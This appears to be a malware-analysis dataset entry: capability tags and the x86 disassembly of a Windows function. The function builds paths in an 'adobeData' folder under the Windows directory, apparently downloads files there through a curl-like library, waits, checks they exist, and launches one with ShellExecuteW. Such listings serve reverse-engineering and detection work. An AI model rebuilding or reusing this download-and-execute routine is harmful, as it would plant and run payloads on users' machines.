Function at 0x40f390
Capabilities:
Check if file exists
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x473ea0
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x50078
call fcn.004112b0
mov eax, dword [0x495010]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x7fff
lea eax, [ebp - 0x50058]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x1e
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov eax, dword [ebp - 0x58]
movq xmm0, qword [str.adobeData_]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov word [ebp - 0x18], ax
mov ax, word [0x475708]
mov dword [ebp - 0x50074], 0xf
mov dword [ebp - 0x50078], 0xa
movq qword [ebp - 0x50088], xmm0
mov word [ebp - 0x50080], ax
mov byte [ebp - 0x5007e], 0
lea eax, [ebp - 0x50088]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x50070]
push eax
call fcn.0040d090
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x40f451
mov eax, dword [eax]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10058]
push eax
call esi
mov edx, dword [ebp - 0x5005c]
cmp edx, 8
jb 0x40f4a5
mov ecx, dword [ebp - 0x50070]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40f49b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f812
push edx
push ecx
call fcn.00411038
add esp, 8
mov edx, dword [ebp - 0x50074]
xor eax, eax
mov dword [ebp - 0x50060], 0
mov dword [ebp - 0x5005c], 7
mov word [ebp - 0x50070], ax
mov byte [ebp - 4], al
cmp edx, 0x10
jb 0x40f4ff
mov ecx, dword [ebp - 0x50088]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f4f5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f812
push edx
push ecx
call fcn.00411038
add esp, 8
lea eax, [ebp - 0x50070]
push 0x496078
push eax
call fcn.0040d090
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x40f51b
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x10058]
push eax
lea eax, [ebp - 0x40058]
push eax
call esi
mov edx, dword [ebp - 0x5005c]
cmp edx, 8
jb 0x40f56c
mov ecx, dword [ebp - 0x50070]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40f562
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f817
push edx
push ecx
call fcn.00411038
add esp, 8
lea eax, [ebp - 0x50070]
push 0x496000
push eax
call fcn.0040d090
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x40f588
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x10058]
push eax
lea eax, [ebp - 0x20058]
push eax
call esi
mov edx, dword [ebp - 0x5005c]
cmp edx, 8
jb 0x40f5d9
mov ecx, dword [ebp - 0x50070]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40f5cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f81c
push edx
push ecx
call fcn.00411038
add esp, 8
lea eax, [ebp - 0x50088]
push 0x496048
push eax
call fcn.0040d090
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x40f5f5
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x10058]
push eax
lea eax, [ebp - 0x30058]
push eax
call esi
mov edx, dword [ebp - 0x50074]
cmp edx, 8
jb 0x40f646
mov ecx, dword [ebp - 0x50088]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40f63c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f821
push edx
push ecx
call fcn.00411038
add esp, 8
call fcn.004129a0
mov edi, eax
test edi, edi
je 0x40f6b4
lea eax, [ebp - 0x40058]
push 0x47570c
push eax
call fcn.00453fc9
cmp dword [0x496074], 0x10
mov ecx, 0x496060
mov esi, eax
cmovae ecx, dword [0x496060]
push ecx
push 0x2712
push edi
call fcn.00412a50
push 0x40f1f0
push 0x4e2b
push edi
call fcn.00412a50
push esi
push 0x2711
push edi
call fcn.00412a50
push edi
call fcn.00412a40
push edi
call fcn.00412980
push esi
call fcn.0045406e
add esp, 0x38
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x20058]
push eax
call esi
test eax, eax
jne 0x40f74f
call fcn.004129a0
mov edi, eax
test edi, edi
je 0x40f748
lea eax, [ebp - 0x20058]
push 0x475710
push eax
call fcn.00453fc9
cmp dword [0x495ffc], 0x10
mov ecx, 0x495fe8
mov esi, eax
cmovae ecx, dword [0x495fe8]
push ecx
push 0x2712
push edi
call fcn.00412a50
push 0x40f1f0
push 0x4e2b
push edi
call fcn.00412a50
push esi
push 0x2711
push edi
call fcn.00412a50
push edi
call fcn.00412a40
push edi
call fcn.00412980
push esi
call fcn.0045406e
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
add esp, 0x38
push 0x3a98
call ebx
lea eax, [ebp - 0x30058]
push eax
call esi
test eax, eax
jne 0x40f7d1
call fcn.004129a0
mov edi, eax
test edi, edi
je 0x40f7ca
lea eax, [ebp - 0x30058]
push 0x475710
push eax
call fcn.00453fc9
cmp dword [0x496044], 0x10
mov ecx, 0x496030
mov esi, eax
cmovae ecx, dword [0x496030]
push ecx
push 0x2712
push edi
call fcn.00412a50
push 0x40f1f0
push 0x4e2b
push edi
call fcn.00412a50
push esi
push 0x2711
push edi
call fcn.00412a50
push edi
call fcn.00412a40
push edi
call fcn.00412980
push esi
call fcn.0045406e
add esp, 0x38
push 0x1388
call ebx
push 0xa
push 0
lea eax, [ebp - 0x20058]
push eax
lea eax, [ebp - 0x30058]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00410d89
mov esp, ebp
pop ebp
ret
call fcn.00453df0
call fcn.00453df0
call fcn.00453df0
call fcn.00453df0
int3